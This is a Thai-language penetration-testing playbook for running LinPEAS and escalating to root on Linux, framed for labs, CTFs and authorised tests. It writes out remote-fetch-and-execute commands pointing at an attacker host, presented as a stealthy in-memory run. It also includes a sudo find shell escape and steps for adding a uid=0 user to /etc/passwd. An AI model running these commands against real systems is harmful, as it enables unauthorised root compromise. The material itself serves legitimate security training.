คลัง
playbooks

LinPEAS Playbook

Playbook สำหรับ LinPEAS — script enumeration อัตโนมัติของ Linux privesc แบ่งตามระดับ พร้อม workflow การอ่านผลตามสี, decision tree (เจอ vector ไหนทำอะไรต่อ), cheatsheet และตัวอย่าง (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)

BeginnerIntermediateAdvanced#linpeas#linux#privesc#playbook#enumeration#peass#ctf

1. Beginner — รัน LinPEAS ให้เป็น

LinPEAS สแกนระบบทุกด้านอัตโนมัติแล้ว highlight ช่องทาง privesc ด้วยสี วิธีที่เนียนสุดคือรัน in-memory ไม่แตะ disk

เนื้อหานี้เพื่อฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab, pentest) เท่านั้น
รัน LinPEASLinux
# in-memory (ไม่แตะ disk — เนียนสุด)
curl http://<ATTACKER>/linpeas.sh | sh
wget -qO- http://<ATTACKER>/linpeas.sh | sh

# ถ้าเขียน disk ได้
wget http://<ATTACKER>/linpeas.sh -O /tmp/lp.sh
chmod +x /tmp/lp.sh && /tmp/lp.sh -a

# เก็บผลพร้อมสี
./linpeas.sh -a | tee /tmp/out.txt
less -r /tmp/out.txt
-a = scan ละเอียดสุด; curl|sh = in-memory; less -r ดูผลพร้อมสี

2. Intermediate — อ่านผลตามสี

สีความหมายทำอะไร
แดง/เหลือง พื้นหลัง99% เป็น PE vectorดูก่อนเลย!
แดงน่าสนใจสูงตรวจสอบ
เหลืองอาจน่าสนใจดูถ้า vector แรกตัน
ฟ้า/เขียวข้อมูลทั่วไปข้ามได้
โฟกัส แดง/เหลืองพื้นหลัง (99% PE) ก่อนเสมอ — LinPEAS เน้นสีนี้ให้สิ่งที่น่าจะ privesc ได้ทันที อย่าเสียเวลาไล่ทุกบรรทัด

3. Advanced — ส่วนผลที่ต้องเจาะ

  • Sudo / SUID / Capabilities: ช่องตรงสุด → เทียบ GTFOBins ทันที
  • Cron jobs: script ที่ root รันที่เราแก้ได้ → ใส่ payload
  • Possible kernel exploits: LinPEAS แนะนำ CVE ตาม kernel (เช็คก่อนรัน เสี่ยง crash)
  • Interesting writable files: /etc/passwd, service, ld.so.preload
  • Credentials: password ใน history/config/.ssh/memory
  • Software with known exploits: เวอร์ชันเก่า → searchsploit
  • Network / internal services: port ที่ฟัง localhost → port forward

4. Decision Tree — เจอ vector แล้วทำอะไร

จากผล LinPEAS สู่ root
รัน LinPEAS -a เสร็จ
ไล่ดูส่วนแดง/เหลืองพื้นหลังก่อน
99% PE vector
เจอ vector แบบไหน?
sudo -l มีสิทธิ์GTFOBins (sudo)
SUID แปลกGTFOBins (SUID)
capabilitycap_setuid → root
cron writableใส่ payload → root
ยังไม่เจอช่องชัด?
credential ใน configลอง su / ssh reuse
writable /etc/passwdเพิ่ม uid=0 user
kernel เก่าkernel exploit (ท้ายสุด)
ได้ root

5. Workflow แนะนำ

  1. 1รัน LinPEAS in-memory: curl http://IP/linpeas.sh | sh
  2. 2ไล่ส่วนแดง/เหลืองพื้นหลังก่อน (99% PE vector)
  3. 3เจอ sudo/SUID/cap → เทียบ GTFOBins ทันที
  4. 4ไม่เจอ → ดู cron, writable files, credential
  5. 5ยังตัน → kernel exploit เป็นทางเลือกท้ายสุด
  6. 6ทำคู่ manual enumeration (LinPEAS อาจพลาดบางจุด)

6. Cheatsheet

  • รัน in-memory: curl http://IP/linpeas.sh | sh
  • ละเอียดสุด: ./linpeas.sh -a
  • เก็บสี: | tee out.txtless -r out.txt
  • อ่านสี: แดง/เหลืองพื้นหลัง = 99% PE (ดูก่อน)
  • vector หลัก: sudo / SUID / capabilities → GTFOBins
  • รอง: cron, writable files, credential, kernel

7. ตัวอย่างโจทย์

HTB-style box: รัน LinPEAS เห็นส่วน 'Sudo' พื้นเหลืองว่ารัน /usr/bin/find ด้วย sudo ได้ → เปิด GTFOBins หน้า find (sudo) → sudo find . -exec /bin/sh \; -quit → root ทันที

เมื่อ vector ชัดตัน: LinPEAS ส่วน 'Interesting writable files' ขึ้น /etc/passwd writable (พื้นแดง) → openssl passwd สร้าง hash → เพิ่มบรรทัด user uid=0 → su → root

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติได้ shell ระดับ user ธรรมดาบนเครื่อง Linux เป้าหมายแล้ว (ผ่าน web shell หรือ SSH) มีแค่ Kali เป็นเครื่องโจมตี ทำตามนี้ทีละขั้นเพื่อไต่สิทธิ์เป็น root

  1. 1บนเครื่อง Kali เตรียมไฟล์ให้พร้อม: เช็ค `locate linpeas.sh` (ปกติ Kali มี /usr/share/peass มาให้) หรือ `git clone https://github.com/peass-ng/PEASS-ng`
  2. 2เปิด web server ฝั่ง Kali เพื่อส่งไฟล์: `python3 -m http.server 80` ที่โฟลเดอร์ linpeas.sh
  3. 3บนเครื่อง target (shell ที่ได้มา) รันแบบ in-memory ไม่แตะ disk: `curl http:///linpeas.sh | sh`
  4. 4ถ้า curl ใช้ไม่ได้ ลอง wget: `wget -qO- http:///linpeas.sh | sh`
  5. 5ถ้าทั้งคู่ใช้ไม่ได้ (ไม่มี curl/wget) → เขียนไฟล์ลง disk: `wget http:///linpeas.sh -O /tmp/lp.sh && chmod +x /tmp/lp.sh && /tmp/lp.sh -a`
  6. 6รอสแกนจบ (ไม่กี่นาที) แล้วเก็บผลไว้ดู: `./linpeas.sh -a | tee /tmp/out.txt`
  7. 7เปิดผลด้วย `less -r /tmp/out.txt` เพื่อให้สีแสดงถูกต้อง
  8. 8ไล่ดูเฉพาะส่วน 'พื้นหลังแดง/เหลือง' ก่อน — นี่คือ 99% ช่องทาง privesc
  9. 9เจอ sudo/SUID/capability แปลกๆ → เปิดเว็บ gtfobins.github.io ค้นชื่อ binary นั้น
  10. 10ไม่เจออะไรชัด → ไล่ดู cron jobs, writable files, credential ที่หลุดใน config/history
  11. 11ยังไม่เจอ → ตรวจ kernel version เทียบ known CVE (searchsploit) เป็นทางเลือกสุดท้าย
จับมือรัน LinPEAS สู่ root
เตรียม linpeas.sh บน Kali
/usr/share/peass/linpeas/linpeas.sh หรือ git clone PEASS-ng
เปิด http server ฝั่ง Kali
python3 -m http.server 80
รันบน target ได้ไหม
curl http://KALI/linpeas.sh | sh
✅ รันผ่าน เห็นผลสี→ ไล่ดูผลต่อ
❌ ไม่มี curl/wget หรือ network ปิด→ ลอง wget หรือ copy ไฟล์ผ่าน scp/base64
ไล่ดูส่วนแดง/เหลืองพื้นหลังก่อน
เจอ vector ชัดไหม?
✅ sudo -l มีสิทธิ์/SUID/capability→ เช็ค GTFOBins
✅ cron job เขียนได้→ ใส่ payload รอ root รัน
❌ ไม่เจอช่องชัดเจน→ ไล่ manual: cron, writable /etc, credential ในไฟล์
manual enum ยังไม่เจอ?
✅ เจอ credential/config รั่ว→ ลอง su/ssh reuse
❌ ไม่เจอเลย→ เช็ค kernel version → kernel exploit (ระวัง crash)
ได้ root
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
เตรียม linpeas.shlinpeas (จาก apt) /usr/share/peassgit clone PEASS-nggtfobins.github.io
ส่งไฟล์เข้า targetpython3 -m http.server--
รันแบบไม่แตะ diskcurl | sh, wget -qO- | sh--
เก็บผลพร้อมสีtee, less -r--
เช็ค SUID/sudo abuse--gtfobins.github.io
เช็ค kernel exploitsearchsploitlinux-exploit-suggestercve.mitre.org
manual enum เสริมchecklist Linux Enumeration--
🚑 ถ้าตันสนิท ลองท่าถัดไป: (1) LinPEAS ไม่เจออะไรชัด → กลับไปทำ manual ที่ Linux Privilege Escalation Enumeration อย่างละเอียด (LinPEAS พลาดบางจุดได้) (2) เจอ SUID/capability แต่ไม่รู้ syntax abuse → เปิด SUID หรือ Capabilities ดูตัวอย่างเต็ม (3) เจอ cron job แต่ไม่แน่ใจว่าแก้ยังไง → ไป Cron Jobs (4) ทางตันจริงๆ ไม่มี vector เลย → เช็คว่ามี docker/container ให้ escape ไหม (Docker Escape)

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้